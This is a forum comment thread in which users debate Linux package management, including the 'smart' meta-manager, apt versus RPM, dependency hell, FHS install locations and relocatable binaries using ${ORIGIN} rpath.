All the other posters are correct... you can install it to wherever it feels like, move or copy it to wherever you feel like and link. Hell, you can put core parts of your operating system in different partitions and folders if you like as long as you link em up right. Now let's see a Windows user put their boot loaded on their 2nd parition, their System32 on it's own parition, and user files in a final parition.

Hell, keeping user files out of system areas is already beyond the scope of Window's capabilities. If you think 'control' is a next button that let's you put the least intrusive parts of an end user program in some folder other than the default you're missing the bigger picture.

Re:Why all the fuss?

[LilMikey]

because /usr is getting full

Look into LVM. All the kids are doing it.

Re:Why all the fuss?

[Kethinov]

Eek. That's a great way to end up with a borked Debian, especially in unstable.

Why do you feel the need upgrade your softwar every.thirty.minutes? Does that fresh new zlib have that much to freakin offer?

I only do dist-upgrades when I know that something important I have is out of date. Like an app I use all the time. This ends up being once every week or so. Every thirty minutes? Jesus! You waste a lot of their bandwidth! Shame on you!

Package management

[Camel Pilot]

For package management what is wrong (i am sure I will be told shortly) with using standard naming conventions and just use the files system and links instead of resorting to a database and flinging components far and wide - which invariably leads to cruft buildup over time.

For example if /inst is the install node then a simple myapp would look like:

/inst/myapp/bin
docs
man
icons
conf
lib --> /lib/glibc/2.0
modules --> /moduls/core/1.2

Everything about an app resides at this location. All dependencies would be created via links from a installation script.

Then some service during install would come thru and create the appropiate links to stand places.

/usr/share/docs/myapp --> /usr/inst/myapp/docs /usr/share/man/myapp --> /usr/inst/myapp/man
/usr/bin/myapp --> /usr/inst/myapp/bin/

If applications are installed from a single directory node then removing an application could be as simple as rf -rf myapp. Checking what an application depends on would be a ls -l in the install directory.

alien, then

[paugq]

Oh, well. So you mean you have reinvented alien

Not always installing the newest version

[Ed Avis]

I noticed one big difference between 'smart' and existing tools is that it will sometimes choose an older version of a package if that's necessary to get a smooth upgrade. As they say in the web page,

In this case, there's a package A version 1.0 installed in the system, and there are two versions available for upgrading: 1.5 and 2.0. Version 1.5 may be installed without problems, but version 2.0 has a dependency on B, which is not available anywhere.

In this case, the best possibility is upgrading to 1.5, since upgrading to 2.0 is not an option.

But doesn't it often happen that older versions of a package have known security holes? Until now it has been sufficient to package the newer, fixed release and let the systems like apt and yum pick it up. If we have package managers that may deliberately choose an older version, there needs to be good metadata on which older versions of a package are still usable (ie, don't have known or likely exploits).

Indeed this is true of bugs in general, but security is the most worrying example.

Versioning is a fundamental problem in computing

[steve_l]

I think we have to admit that we arent any good at not making "upgrades" that dont break things.

Once we accept that, we accept the inevitable truth that there is no single state for all the dependencies on a complex system which satisfies all needs.

the only solution is isolation: stop having central system configs except for core features -the OS and drivers- and everything else gets isolated into per-app installations. Which may be per-app user mode linux images.

Whoa - "perfectly"? I think not.

[gosand]

Debian and the derivative distributions have this sorted perfectly.

I would take issue with this statement. I have never used Debian proper, but I have installed a few systems with Knoppix. I put Knoppix 3.4 on a Dell Inspiron 8000, and I thought all was well. I then tried to update KDE. The system got totally hosed. KDE only partially updated, and I couldn't get it back to normal. I will admit that I was new to apt-get, but I am not a newbie when it comes to *nix systems. After lots of man pages and searches on the net, I concluded that KDE was FUBAR. From what I gathered on some weblogs, it was a known issue with the way that Knoppix installs that kind of messes up apt-get in some scenarios.

I replaced that with Mandrake 10.0, and thought all was well. Unfortunately, I had to later uninstall that after fscking around with my new wireless card for 2 days. It was supported under Linux using the Prism54 drivers, but after some searching on the net, Netgear had updated the firmware in their newest version of those cards (WG511) and they weren't compatable anymore. So I had to reinstall Win2k on the thing because the reason I got it was to use as a wireless connection. That really hurt too, because I wanted to run Linux on it. (don't tell me I should have returned the card, I got the card and router as a combo, and it was mail order - too much hassle to return) I'll have to keep checking to see if they ever get the drivers updated for that card.

Re:Why all the fuss?

[PDA_Monkey]

Please remove your propeller beanie and leave your geek badge at the door on your way out.

Re:Why all the fuss?

[Geek of Tech]

Now repeat after me...

I do not update every 30 minutes. I update 30 minute after I boot my computer (or once a day if it's already on). Okay. Now you say it. ;)

Not every 30 minutes. Besides, if something screws up, I'll just add a bug to whatever buglist deserves it. But I've been doing this for some time now. I've never had any problems with it. I figure sooner or later I'm going to update those packages anyway.

Re:Why all the fuss?

[IamTheRealMike]

App developers can use binreloc to make their apps binary relocatable (ie can install to any location). This is mandatory for autopackages and is easy to add in. binreloc is designed for minimal source disruption.

The Kitchen Sink in /usr/bin

[HighOrbit]

I've noticed that Linux distributions (mostly Redhat and Debian in my experience) like to install pratically everything into /usr/bin and keep /usr/local/bin virtually empty. My understanding of the FHS is that /usr/bin should be for important core utilities that are (or pratically are) part of the OS, not random applications. For example, IIRC, RH/Fedora put their RPM-installed httpd and postgres into /usr/bin. Same with Mozilla. This seems just wrong. Apache, Mozilla, and postgresql are optional applications, not core parts of the OS. Applications should go into either /opt or /usr/local/your_app_name or into /usr/local/bin.

Normally this isn't a big problem (especially since I tend to compile my own and put it in /usr/local), but I find it mildly irritating.

Re:The Kitchen Sink in /usr/bin

[Anonymous Coward]

Actually, your understanding is incorrect. From the FHS:
"/usr/local : Local hierarchy
Purpose

The /usr/local hierarchy is for use by the system administrator when installing software locally. It needs to be safe from being overwritten when the system software is updated. It may be used for programs and data that are shareable amongst a group of hosts, but not found in /usr.

Locally installed software must be placed within /usr/local rather than /usr unless it is being installed to replace or upgrade software in /usr."

If you read it, you'll see that /usr/local is where the admin installs software. The distrobution is not supposed to put its packages there because it might overwrite locally compiled packages.

Re:Why all the fuss?

[40000]

If installing things is so easy, why are there so few Linux distros where there is an option to simply install a bare desktop with no applications?
"User friendly" Windows lets you do this.

Re:Whoa - "perfectly"? I think not.

[lakeland]

I've never tried to update Knoppix, but I've never had a problem updating KDE under Debian.

At a guess, Knoppix implemented some ugly hack in its version numbering which broke. Certainly the unofficial KDE packages (e.g. the KDE packages for KDE 3 back when KDE 2 was standard) had great big disclaimers saying they would not guarantee a smooth upgrade.

*shrug*

Leave your zero-sum mentality at home!

[LibrePensador]

There is nothing insightful about this guy's incendiary post. Linux distributions value collaboration and have long proven that the pie is big enough.

People like the OP are caught up in the old way of thinking that each distribution has to kill all others in order to survice. In the future, software companies will be smaller, more agile, and with a dedicated clientele that keeps going back to that specific distribution because of the way it treats customers and the specifics of its products.

Think of it as the small bakery in your neighborhood. You go there because you know the people and they make great bread. The goal of the owner is to feed his family, pay his employees and stay in business, not total world domination. If you extend the analogy, a host of linux distributions can collaborate to extend the reach of Linux, compete at times, and yet stay in business.

It's not a zero-sum game, particularly among free software companies.

Re:Whoa - "perfectly"? I think not.

[runderwo]

The problem with Knoppix is that it installs its own custom set of packages, but them points the user to the Debian repositories for updates. This is just asking for trouble, and erases one of the biggest benefits of Debian's repository - a huge set of packages which have all been built and verified against each other.

Windows

[Anonymous Coward]

Funny, in Windows I don't need a "controlled repository" to install anything from anywhere and uninstall it afterward.

Desktop Linux needs a unified installation/uninstallation API so bad, it's tragic. Can Gnome and KDE get together on this so we can have Autoplay and driver installers on CD?

Re:Why all the fuss?

[grumbel]

The throuble with the relocation is that Linux or Unix in general doesn't provide any way to let the binary find out where it is installed once it run. So as soon as a binary wants datafiles, clean relocation is basically impossible. Sure there are a number of hacks and workarounds (/proc/self/exe, scanning argv[0], PATH, wrapper scripts, etc.) which might give hint about where the software is installed, but none of that is really clean or works in all situations.

What I really miss is some kind of editable 'properties' for executables that would allow to move all those hardcoded paths and variables that they contain into a human editable (ie. non-hexeditor) form. A file in /etc/ could do a similar job, but that would again destroy the relocatability, so such a property system would need to be attached to the executable itself (like resource hooks in MacOS, Linux extended attributes or the like).

Just a thought.

[Theatetus]

Why not maintain a symbol database of every symbol exported and required by every package (sure, it might get pretty big, but most package management systems have bloat).

That way, appfoo could register as requiring symbols bar, baz and qxt. If libfred-dev and dev-libgfred both supplied those symbols, either one could meet the dependency. Kind of like what portage does with the virtual/ targets, only more fine-grained.

There would still be some problems, but that at least would solve your various-package-names issue.

Well..

[Theatetus]

My understanding of the FHS is that /usr/bin should be for important core utilities that are (or pratically are) part of the OS, not random applications.

Well... that may be what FHS says, but that goes against the tradition that the distros are following, namely:

1. /bin: the binaries you need to have to boot and init
2. /sbin: the binaries you need to have to boot that only root should be able to even know about.
3. /usr/bin: the binaries you don't need to have to boot and init, that you got through your vendor's bundling / package management.
4. /usr/sbin: binaries from your vendor that only root should be able to even know about.
5. /usr/local/(bin|sbin|etc|var|lib): a little miniature filesystem for all the stuff that you didn't get from your vendor.

You're exactly right: the distros leave /usr/local empty because that's what it's there for: a place for your own stuff so that it and the distro's stuff don't get in each other's way.

Package managers are most needed, but

[adembaba]

that alone only helps server people (i.e. it gets you out of frustration halfway if you're a Desktop user using Gnome, KDE etc).

Why?

Well, while the M$ Windows we so much love hating handles the stuff below, I have not seen anything close enough to it in the Linux flovors I have used (RedHat, Fedora, Debian, SuSE).

Here is what I am talking about --think of yourself as a Desktop user or admin for Desktop users. Gnome and Debian.

a) What are the names (labels) of the application that was just installed. I.e., when I frantically go through the menu tree (Gnome and/or Debian) what am I looking for? Am I expected to remember the previous setting of all those menus and do a mental diff?

b) If, say, I am installing 'Ethereal', I want it to be under 'Applications' --> 'Network' (instead of being buried somewhere else), and I'd like it to be labelled something more user-friendly (OK, this is not really valid for Ethereal, but is for almost everything else).

c) I want to rearrange the whole thing so that I dont need to trace 2 tree (Gnome and Debian) and merge and/or prune the whole thing the way it suits me. How do I do it --other than going thru a lot of low-level guts of the system. Even then, the whole thing is totally trial/error --no visual feedback.

d) This was the user , I am the admin. I want to let some other users use that app and some others not to use it. How do I do all of this? Do I login for each user and arrange it for them?

I can go on. But, you see the headaches, I hope.

Most of this could have been solved if the installer were to come back to me and ask 'under what label, under which menu node, for which users' am I going to install that particular app.

Doe sthis new magical thingy do that. I doubt it. Does anything else. Not that I know of.

Re:Why all the fuss?

[commodoresloat]

If you don't like where the package manager decided it should go, grab a source package and edit the compile script to make it compile with the paths you want, then rebuild the package

I can definitely see how that would be easier than dragging the icon from one folder to another.

dragging icons?

[commodoresloat]

Something that is as intiitive and simple as dragging an icon to the applications folder to install and then dragging it to the trash to uninstall.

Why would you bother with clicking and dragging when you can simply edit the compile script to your liking, then ./configure with whatever tags suit you, make, make install, go through the output to figure out the dependency errors, download and install the necessary libs, re-edit your compile script, ./configure, make, make install again? That should really be all you need unless you're doing something fancy.

Dependency Hell

[More Trouble]

This effort assumes that "dependency hell" is the problem. Here's an article that says otherwise:

An Analysis of RPM Validation Drift

:w

chroot() requires root access...

[Anonymous Coward]

which kind of defeats the purpose.

You can't have it both ways.

[Anonymous Coward]

Either you add a repository to sources.list (which means that all dependencies can be resolved) or you install a .deb directly -- in which case, resolving the dependencies is simply impossible because needed packages may be in the repository (which apt doesn't know about) where you got the .deb from.

Please TAKE A LOOK!

[GAlain]

What are the obstacles to it's implementation?

To my sense, the main obstacle is that nobody even know the existence of zero install (please, take a look at http://zero-install.sourceforge.net/)

I was quite satisfied with the 'aptitude install' & co. commands, but I really love ROX/0install since I tried it and THAT is an easy environment. It is really sad that nothing is using it, and it is not even incompatible with your current packages manager.

I see many things that must be improved/implemented, but please take a look at the documentation, particularily the security part before flaming.

I am not talking about servers or else, but try ROX (http://rox.sourceforge.net/) running on top of 0install and imagine yourself as Joe user. Man, that's easy, more than Macs!

Please, take a look, try, comment, even post flames but please spread the word or... or... I will cry :-)

Again??

[orfanotna]

What happened to Zero-Install, Autopackage, etc? I can see the benefit of having a universal packaging system, but why the hell do we need 5 of them?

Debian and Gentoo

[tacocat]

This is a silly project.

Anyone who has used Debian or Gentoo will know that these dependency problems that they speak of are all a problem related to RPM.

Did anyone else notice that all the package management tools they cited are all RPM centric? Hmmm.. Maybe they missed the point the Gentoo's emerge and Debians dpkg (apt-get) don't have these problems.

I don't know what to think about this article other than it's suffering from some denial of the reality of the situation.

Now for the troll points: if every just built everything for Debian, there wouldn't be a problem with dependencies would there?

And I'm sure now I'll hear about the millions that didn't have a great success story. Well, we have all had someone piss in our wheaties at some point in our lives. But for me, Debian has never failed me.

If you want that kind of

[Anonymous Coward]

security you might want to use SELinux or LIDS. I haven't used SELinux, but IIRC LIDS allows you to say "allow user to run /lib/ld*, but only if the program which causes it to run is from /bin or /usr/bin". In effect, this means that the user cannot execute /lib/ld* manually, but programs from /bin or /usr/bin can still be run by the user.

Re:If you want that kind of

[IamTheRealMike]

Apparently you're not reading what I wrote. There is no sane security system that can prevent the user running arbitrary code. I won't go into all the ways you can do it here, suffice it to say there are a lot.

Re:If you want that kind of

[Kent Recal]

Uhm, what's the point here?
Ofcourse they can run any code they want, but they run it under their uid and gid. Problems arise only when a user manages to elevate his/her privileges. And that shouldn't happen unless there's a bug.

Re:If you want that kind of

[Minna Kirai]

There is no sane security system that can prevent the user running arbitrary code.

luser:x:100:100::/home/luser:/bin/true

Shareware!

[jotaeleemeese]

Yeah, they revolutionaized the software industry, the shareware devlopers....

I'm "just" a user.

[Dorsai65]

I don't care about the relative benefits (or weaknesses) of whatever installer is on my system (Suse9/rpm - I know. I'm illustrating a point here, okay?). I just want to install and use the damn application.

I don't understand why I should have to have multiple graphics/development libs (nevermind different minor revs) because several different applications each specified it wanted something Completely Different. There have been things that I've tried to install that have had up to 3 or 4 different LEVELS of dependencies that I've had to go chase down: package A needed B - B needed C - C needed D, and it has been a massive pain in the ass. All these different libs have their supporters who say that each one is "better" - but that's "better" for the developer; the end user can't see any difference, and really doesn't care: they just want the pretty pictures on the screen. THIS is why Linux isn't kicking Microsofts ass.

I can compile and install from sources, but Joe Average User can't/won't be bothered - it confuses him too much. Why should he screw around with Linux and the plate of spaghetti that is its libraries and dependencies when he can just download and USE the damn software on a Windows box? If the software he's installing has a newer version of a lib, it just installs it seamlessly; the old version goes bye-bye, and nothing breaks.

I'm slowly switching everything I can over to my Linux box from Windows (some stuff simply isn't available on Linux), and I've been encouraging people to try FOSS software - but only those apps that run on Windows. Why? Because I'm not about to try and convince people that see the computer as a way of actually getting things done to start having to screw around with the lack of standards that Linux suffers.

(Now adjusting Nomex underwear in anticipation of flaming resulting from saying Linux isn't do-all and end-all of OSs)

Re:I'm "just" a user.

[JSBiff]

Well, I think you've got a few different problems confused, which is easy to understand.

Let me start with the first. The reason people care about which installer is on their system is that some are more intelligent than others. You know how you said it's a major pain in the ass to chase down dependencies? I fully agree. That's why some people like the Debian-based installers. They intelligently figure out all dependencies for you (including the dependencies of dependencies of dependencies. . .) and attempt to find a source of the dependencies and install them.

Theoretically, there's no reason the same simplicity can't be applied to almost any package system, at least if the package system records the dependencies of a package somewhere. And that is where this Smart Package Manager comes in. It at least claims that it will give you simple package management regardless of what distro you use. Will be interesting to see if it actually lives up to what it says.

The other issue you were talking about, is the many many different libraries available, many of which do similar things. Well, if your package manager is smart enough, and packages are available to meet the dependencies (*usually* this is the case, because if a package that comes with the distro depends on something, it's dependency is also part of the distro you are using; however, with third-party packages, you might have to find the packages you need yourself), you really *don't* have to care about all the different libraries. Developers get the choice of which libs to use, and you get smart installation/uninstallation of required libs.

In the Windows world there are just as many different libraries. Probably more. You just usually don't 'see' them as a user. You run setup.exe, and the libraries come bundled with the program on CD or in the installation archive. The only reason I mention this isn't to say the windows way is superior, but just to show that as long as users don't have to be bothered with worrying about the libraries, they don't really care if they have 3 different libraries that do similar things.

It's the same way with Linux. I use Debian. If I want to install something, either I use dselect, or apt-get, to install it, and everything it depends upon gets installed to. So, I don't really care about the libs getting installed, because it's so easy. The only thing I haven't yet figured out (though it might be possible), is to get Debian to automatically remove dependencies that are no longer required by any currently installed, or about to be installed, applications.

Possibly, Smart Package Manager will also take care of that.

you forgot...

[Doctor O]

With NOBODY to hold my hands. Because the life of the geek is a lonely life.

...in Japan!

You must be new here.

Re:Drag-n-drop like OSX

[be-fan]

What do we do when we need to install a dependency? What do you do when you want to upgrade your system to the latest version? I don't see how double-clicking on a package in Synaptic is any more complicated than dragging a bundle into a special directory, and the former approach allows a lot of powerful management features that the latter doesn't.

There Can Only Be One

[nz17]

And .tar.gz is his name. Become one with the source, for there can only be one! May the source be with you and all that jazz.

(Okay, somebody mixed up his pop-culture references a wee bit too much. No more Malt-O-Meal for me!)

portuguese screen shots

[jgowen]

Nothing against Portuguese you understand; I fully expect a all-distributions Linux installation utility to be in portuguese. Chinese next maybe...

Appwrapper isn't all it's cracked up to be.

[jbn-o]

While I appreciate the simplicity that approach appears to offer, I doubt it is consistently that simple.

Once an app runs, it can install files anywhere the user could. So if the user runs with administrator access (which one would want sometimes, to allow multiple accounts to share the same installed apps instead of each user installing their own copy of some program), the program could silently unpackage and place copies of files in various places outside the appwrapper. Deleting the appwrapper won't delete these (now unneeded) additional files. This behavior might not be in vogue, it might raise hackles in a small userbase, but that same userbase will tolerate it for apps that provide a unique proprietary function--playing Microsoft Windows Media files, for instance.

I want a system that is that easy to maintain, I want apps that are that easy to acquire and upgrade (and easy for the developer to package for me--waiting for mozilla.org to ship an RPM of the latest Firefox increases the time until I can try it on Fedora Core GNU/Linux, for example). But I'm not convinced that the NeXTSTEP (now MacOS X) appwrapper approach is going to achieve this end with the kind of consistency that I can rely on. And I'm not willing to give up my software freedom to acquire the ease of installation/uninstallation which appwrappers ostensibly provide.

Bad packages (RPMs, Debs, etc.) exist, to be sure; I am not seeking perfection (which never exists). However, in my experience, bad packages are far fewer in number than the number of installers I've seen for MacOS X that drop files wherever and don't leave any easy way to uninstall the files (in addition, the spectre of proprietary software adds another wrinkle to the mix: uninspectable and unchangeable software means that any installer logs of installation activity are untrustworthy because they could be incomplete).

Finally, the MacOS X Installer.app approach isn't as functional as its NeXTSTEP sibling was. The older Install.app installed, uninstalled, and repackaged packages and had a fairly easy to use interface for the end-user. The aforementioned limitations were still a problem, of course (NeXTSTEP and OPENSTEP were not free software systems and they were made useful chiefly through proprietary software), but at least some handy functionality was there. The last time I saw the MacOS X installer app it didn't do these things.

Re:Appwrapper isn't all it's cracked up to be.

[minus_273]

no, it really is that simple. The entire application is contained in the .app "file" it is really a direcotry that carries the binary and all of the files that it needs.

Re:Appwrapper isn't all it's cracked up to be.

[jbn-o]

Perhaps I wasn't clear enough: I understand the design and the intention because I'm familiar with NeXTSTEP and OPENSTEP. MacOS X is doing the same thing those systems did. But in practice, appwrappers aren't being used consistently and proprietary software running as an admin is inherently untrustworthy.

SQL

[bluefoxlucid]

How about an SQL based package manager built on using MySQL or PGS?

I never did believe in throwing a layer of crap overtop several different package managers. Why do we have several? For that matter, why are they each using their own db format? Even more curious, why the HELL do they even HAVE their own db format? We have SQL and PGS and Firebird and Oracle and everything else. I say we just make a new package manager, and try to get it right this time; if you want to do deb/rpm/ebuild/tgz, just add plug-ins.

Re:Why all the fuss?

[AhZuhl]

I'm with ya on this one PDA_Monkey.

We have Linux to escape the closed source of Microsoft Windows.

That's why I like Linux. We can chop it up anyway we want and throw it back to the users to try. You can't do that with Windows. That's why so many people try to crack Windows. They just need to use Linux.

Comment removed

[account_deleted]

Comment removed based on user account deletion

Actually, no

[williewang]

It doesn't have an "installer," it either installs the package (using perl, gcc, whatever the developer used--and will install *that* if necessary as well) or--more often, it compiles things from source automagically--including dependencies and checking MD5 hashes--and keeps a list of packages that you have installed in case you want to remove them later. As for uninstalling:

Gentoo: emerge unmerge program_name (like mozilla)
FreeBSD: pkg_delete package_name (or, in appropriate ports directory): make deinstall clean
Debian: apt-get uninstall package

Not too terrifically difficult--and it extends to the entire OS as well. You haven't experienced opensource valhalla until you've upgraded your entire OS and every package in it with a few lines while drinking a couple beers. I suggest you give it a go.

Re:Actually, no

[space_man51]

Um, if you are replying to my post, then I was talking about Windows:

That's because they don't have a "Package Management System". They have an "Installer", which "installs" the program onto the system. From there on, you are on your own (good luck removing the program later).

I am talking about Windows there, and its lack of a true system-wide Package Manager system. I myself use Debian specifically for the apt-get tool and quality repositories, and have at times considered Gentoo for similar reasons.

Sorry if I didn't make it clear in my origional post.

Re:Actually, no

[williewang]

Oops! Yep, I didn't RTF string well. Sorry 'bout that ..;-).

Re:Why all the fuss?

[upsidedown_duck]

All in all, its much easier to install software in Windows, especially if you'd like to have some control over your file system.

Very clever troll. Windows gives the user practically no control at all. Just try to move something...oops, the whole registry broke. The only thing nearly as bad as the registry are all those hard-coded paths put into config files by libtool.

funny thing about RPM

[JSBiff]

I believe that RPM packages contain info about what packages they depend on, and have for years. The few times I've tried installing stuff on rpm-based distros, I've seen dependency errors. So the question is, if the RPM packages provide dependency info already, how come the RPM utils don't *already* provide automatic dependency installation like apt-get? Seems like something that could have been added to rpm years ago. . .

I don't use Redhat much, so maybe there is already a tool to do this, I dunno. . .

man, the fish sucks!

[zanderredux]

for your convenience

Smart screenshots

smart is the new package meta-manager written by Gustavo Niemeyer from Conectiva, and it is to APT as APT was to its predecessors. These are the screenshots of the development version, which will be released soon, running in a Fedora Core 3 box.

Take notice that smart can be run textmode (smart install ), through a GUI (smart --gui), or even a mix between of both (smart --gui install ), besides an interactive textmode shell (smart --shell).

Documentation is already available online and it is worthwhile to take a read. It explains, for example, some cases where smart solves broken dependencies that APT cannot solve.

(this is not smart project's official webpage. the text below reflects my opinion)

picture goes here

smart is transparent (highly agnostic ??) with respect to distros and repository formats. It works even if you mix stuff up: accessing Fedora's YUM repository (RPM Metadata) and Livna as APT, for instance. Just works. Also, the "RPM Directory" option points to a directory with packages. There is no need for a special indexing procedure as APT and YUM require. It doesn't get easier than that to create repositories.

another pic

A typical view: you can list packages by group (applications, development, etc.), by repository (Fedora Core, Livna, etc.) or any combination between. Little green squares are the installed packages, little white squares are available packages. With the context menu is possible to "lock" packages so that smart never mess with them.

yet another pic

Translator note: the author makes an insightful statement in the next paragraph. Developers, take note!!!!

Every software should have a "fix all problems" option :) Smart is a lot more smarter and it can recover the system from situation where APT cannot fix.

picture

The mirror system is another cool thing. You define the URLs that can be used as alternates to a main URL. Whenever it is necessary to fetch a file, smart automatically searches through the mirrors, make simultaneous downloads, etc. If a mirror is down, incomplete or outdated, smart automatically lowers the priority of this mirror and tries the next one. On the other hand, quality mirrors, with high bandwidth get to be used more frequently.

another pic. almost there.

Priorities are another interesting feature. Do you have a lot of repositories with identical packages? With smart you can establish which package has preference and avoid having your local packages overwritten by packages from remote repositories or avoid third-party repository taking precedence over "official" repositories.

last pic! it was already time!

downloading packages.

Re:Why all the fuss?

[Anonymous Coward]

I can definitely see how that would be easier than dragging the icon from one folder to another.

Yes, it would be far easier than writing a program that ran all of the time, noticed when you moved its executable and data files, then updated the strings within the executable that tell it where to find its datafiles without corr....

Oh wait, you meant for the user. Yeah, we should all strive to move Heaven and Hell for the user. God forbid that we define standardized locations for binaries, configuration, and libraries so that admins can script installs and maintain those installations easily, then expect people to use them.

And all this arguing...

[jayloden]

And all this arguing, is why this application exists in the first place. No one seems to see that it's a GOOD idea to have ONE system to manage your installations, and refine it, instead of ten systems that all work "pretty good".

You know what, Gentoo portage, BSD ports, Mandrake urpmi, and Debian apt-get are all GOOD. But they're NOT -get this- perfect. Get over it. Your distro is not perfect. As long as everyone says "Well, it's not that hard to just install from source" or "it works fine with apt-get", you will have the opposite of progress.

Personally, I think it's a better idea to select one system, whichever one is most portable, and get everyone on that one system. Then, we have a whole world of Linux developers working to make that one system as close to perfect as possible. We CAN eliminate dependency hell, installation confusion for users, and give all the options and choice you want, and we can get there a hell of a lot faster if we work together instead of bitching at each other and getting smug that apt-get doesnt have dependency hell, or gentoo is great, whatever. Isn't this whole "Open Source" thing about COMMUNITY in addition to choice? Let's get it together, kick some ass, and take names!

This isn't the best solution, nor is it intended to be. It's just a STEP, in a direction that's NOT backwards. Give them some support, the closer we get to one system, the better off we will ALL be, and the further Linux can come. Stop bickering and arguing, and start supporting. I for one love Linux and everything the community has given me, and my way of giving back is to do what's best for the entire community, not to get incensed because someone dares to insult Mandrake or Debian's system. They all have faults (yes, that means you too, Gentoo and BSD users) and instead of pretending they don't, let's get together and work to fix them. You don't have to give up choice to work together, you just have to be supportive of each other.

-Jay

Universal package management

[petrus4]

I have no problem with a package management standard at all, as long as the standard is *NOT* rpm. From a purely technical standpoint, I truly do not know what the LSB peeps were smoking when they included rpm as part of their specification...I can only assume it happened because Dead Rat/SUSE etc were the people paying the bills. Once again, a triumph of dollars over sense.

I don't care what anyone says...rpm sucks gangrenous, dried sweat encrusted goat's testicles. The specfile format is one big invite to write sloppy code, (and that's even assuming you can get your own macros to work) the practice of splitting libs up into normal and "devel" versions invites all sorts of evil behaviour on the part of the corps involved. I also don't need to go into the "dependency hell" issues...it sounds like people are far too familiar with those already. Yet another thing I hate about rpm is that on most rpm based distros, the makers of such will actually intentionally screw things up so that via rpm is the ONLY way you can install anything...try compiling, and configure won't find libs it needs in many cases. I think that's the single main reason why I dislike it, actually...it allows and encourages corporate sabotage of the operating system. Apt isn't *quite* as bad from what I've seen...but it's close.

I've often wondered why there haven't been more attempts to adapt ports for Linux...presumably there are two reasons:-

1) The few people who might otherwise have been sufficiently intelligent to care are already using gentoo, and it is close enough for what they want in most instances, and

2) The binary-only "apt-get and drool" crowd can't see any incentive or reason for such a thing at all, for the most part.

I wouldn't know how many times I've seen messages about Debian starting off with the prefix, "When I'm feeling lazy, I use apt." This is exactly the problem...if you're feeling that lazy, go back to XP until the feeling passes. Don't insist on doing bad things to Linux which will only recreate Windows' problems here.

Re:Universal package management

[wizkid]

Want bad package management, use Slowaris pkgadd, etc. Personally, .deb's and emerge are great.

The apt port to fedora isn't bad. But it's built on rpms :(

I think that's a mis-communication.

[Ayanami Rei]

It's trying to say that it's what you add in later that doesn't come with the system.
A system being defined as the ENTIRE distro (Linux, Solaris, whatever)... of course you would not have installed the whole thing, but just because you add the package later doesn't mean it's not "the system".

What needs to happen first:

[Ayanami Rei]

The issue with that is that a user won't be able to call those programs, nor ldconfig find those libraries, if they are in weird directories.

What's needed is for distros to adopt the /etc/profile.d whole-heartedly, and to sort of "abuse" that to add managed scripts that set up your environment to deal with packages outside of /usr/bin.

So if you install mozilla, which drops a bunch of binaries in /opt/mozilla/mozilla-1.8/bin, then you also get a script called mozilla.sh in /etc/profile.d, which states somewhere:

MOZHOME=/opt/mozilla/mozilla-1.8
PATH=$PATH:$MO ZHOME/bin
export PATH

You get the idea.

Similarly, if installing libs, maybe it needs a post install script that simply seds through /etc/ld.so.conf and adds the directory for lib if ain't there, then runs ldconfig after?

Otherwise we'll continue to see this sort of uncertainty about what files belong where.

Now, one other thing to keep in mind is... rpm -q --whatprovides somefile is very useful. Even if you have cluttered directories, you should always know what package owns which file. You just have to ask. So now we ask ourselves, is it that big a deal, so long as you don't --force too often?

Oh yea Linux is ready for the desktop

[Deliveranc3]

I am never EVER going to have this discussion with my mom/littlesister/grandmother/father. It just wouldn't work.

Linux ADVOCATES don't trust the system how is anyone else supposed to?

No Linux doesn't ship with everything you need just like windows, perhaps an automatic compiler and package downloader?

Comment removed

[account_deleted]

Comment removed based on user account deletion

"Framework" on Linux

[spitzak]

Our own software (commercial, Digital Domain's Nuke Compositor) now does approximately this because we were burned too much with it not working on even the slightest difference in machines.

1. Everything is in a single directory. "installation" just puts this entire directory somewhere in the system. We let people choose where. It adds one symbolic link to the path, too (actually the current installer does not even do this link, we let the end user do it).

2. In that direcotory is a tiny c-only program with the name of our program. This is what the link points at and what people think they are running.

3. This program uses /proc/self/exe and readlink to find it's own name. It takes the directory and adds it to LD_LIBRARY_PATH. It then tacks a '_' onto the end and exec's that program (the name was chosen so ps lists seem to show the right name).

4. That program with the '_' on the end is the actual program. In addition it can assumme argv[0] is a fully-expanded path name. It uses this path to locate data files like configuration information and plugins. And because of LD_LIBRARY_PATH it also searches in it's own directory first for libraries.

5. All libraries people have trouble with get their own version sent by us as part of the install package. This resides in the directory and thus only affects running our program. So far we have had to do libtcl, libtiff, special libraries required by the Intel compiler, our compilation of ILM's EXR library. We have NOT had to do glibc or glibc++ or any of the huge ones, these are actually quite portable.

6. We tell customers that if they are concerned about reusing libraries, to try renaming our copies so they are not found and thus they get the standard ones. This means that a Linux guru can tweak this just as good as any other install, but for the average person it just works!

Honestly I really don't know if this is a good solution, but it works for us quite well. I do think it is annoying that support for this is not more native, especially the inability to search the current directory for libraries, something that Windows does and inspired this solution.

Re:"Framework" on Linux

[IamTheRealMike]

Actually you can do this, but it's appallingly documented (like a lot of Linux binary compatibility stuff). Put this on your link line:

-Wl,--rpath,'${ORIGIN}'

and now the linker will search the directory the binary is in for libraries first. You can use any path relative to ${ORIGIN} eg '${ORIGIN}/../lib' is appended automatically by apbuild, the autopackage binary portability tool.

Hope that helps. Feel free to ask the autopackage developers any questions you have about binary distribution on Linux.

Re:"Framework" on Linux

[MHV]

Ouch! That hurts :) Seriously, it's great that you guys took initiative to make software installation easier to deal with libraries version. Out of curiosity, is there some sort of pressure on the Kernel/glibc people to experiment with alternate models of linking?

Re:"Framework" on Linux

[spitzak]

Hey thanks, that works! And it does the right thing if there is a symbolic link to the program, or from the program's directory to the library. Great!

It would be nice if they documented this. I searched and found the -rpath switch, but never found anything saying the special text ${ORIGIN} does anything.

Also in make you have to put two $$ to prevent make from expanding it.

Re:Why all the fuss?

[kidgenius]

yes...but you are missing the point. he wants to install it into /opt/gimp so that he could then create the symlink. the rpm package simply will install into /usr/lib/gimp.

some obscure package

[obdulio]

The problem with all package managers is that they rely in a database of known packages. If you want to install some obscure package that is not in ther databases, you will end up into a package dependency hell.

At the university, I'm taking a course in graphical interfaces and their design. Just to get a feeling of something new, I decided to try Enlightenment. The base packages installed fine in my Suse box, using apt-get, but several epplets came only in source code form. While compiling them, I found that I needed some obscure library or some library that has been deprecated. After some days of dealing with dependences and uncompatible versions of libraries (ImLib, for example) I had to give up. Enlightenment runs fine, but several epplets don't even start.

Until all developers agree to follow a standard for their code to be installed (and I can't foresee this in the near future), there will be no package manager that can get us out of dependency hell.

Re:Whoa - "perfectly"? I think not.

[Anonymous Coward]

For your wireless card you might want to check out ndiswrapper. I have a card that's not natively supported under Linux
